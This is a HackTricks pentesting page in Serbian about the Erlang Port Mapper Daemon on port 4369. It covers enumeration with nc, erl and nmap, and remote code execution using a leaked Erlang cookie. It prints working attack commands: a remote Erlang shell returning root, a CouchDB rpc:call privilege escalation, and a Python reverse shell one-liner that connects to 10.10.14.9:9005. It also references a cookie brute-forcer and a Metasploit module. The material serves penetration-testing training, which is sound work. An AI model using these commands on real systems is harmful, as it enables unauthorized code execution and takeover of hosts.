hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
2024-02-10 13:11:20 +00:00

6.6 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Erlang Port Mapper Daemon (epmd) služi kao koordinator za distribuirane Erlang instance. On je odgovoran za mapiranje simboličkih imena čvorova na mašinske adrese, osiguravajući da je svako ime čvora povezano sa određenom adresom. Ova uloga epmd-a je ključna za besprekornu interakciju i komunikaciju između različitih Erlang čvorova preko mreže.

Podrazumevani port: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Ovo se podrazumevano koristi na instalacijama RabbitMQ i CouchDB.

Enumeracija

Ručno

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatsko

Automatsko otkrivanje Erlang Port Mapper Daemon (EPMD) može biti korisno prilikom pentestiranja mrežnih usluga. EPMD je servis koji se koristi za upravljanje i mapiranje Erlang procesa na mreži. Ovaj servis je zadužen za registraciju Erlang čvorova i omogućava komunikaciju između njih.

Da biste automatski otkrili EPMD, možete koristiti alat poput Nmap-a. Nmap je popularan alat za skeniranje mreže koji može otkriti otvorene portove i identifikovati servise koji rade na tim portovima.

Kada koristite Nmap za otkrivanje EPMD-a, možete koristiti sledeću komandu:

nmap -p 4369 <cilj>

Ova komanda će skenirati ciljni sistem i proveriti da li je port 4369 otvoren. Ako je port otvoren, to ukazuje na to da je EPMD aktivan na ciljnom sistemu.

Nakon što otkrijete EPMD, možete iskoristiti različite tehnike za dalje pentestiranje. Na primer, možete pokušati da izvršite napad poput Erlang Distribution Protocol (EPMD) leak-a, koji omogućava napadaču da dobije informacije o Erlang čvorovima na mreži.

Važno je napomenuti da je pentestiranje mrežnih usluga legalno samo ako imate dozvolu vlasnika sistema. Uvek se pridržavajte etičkih smernica i zakona prilikom izvođenja bilo kakvih pentestiranja.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Udaljena veza

Ako možete procuriti autentifikacijski kolačić, moći ćete izvršiti kod na hostu. Obično se ovaj kolačić nalazi u ~/.erlang.cookie i generiše ga Erlang prilikom prvog pokretanja. Ako nije izmenjen ili postavljen ručno, to je nasumičan niz [A:Z] dužine 20 karaktera.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Više informacija na https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Autor takođe deli program za bruteforceovanje kolačića:

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

Lokalna veza

U ovom slučaju ćemo zloupotrebiti CouchDB da bismo lokalno povećali privilegije:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Primer preuzet sa https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Možete koristiti Canape HTB mašinu da biste vežbali kako da iskoristite ovu ranjivost.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "na portu"
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: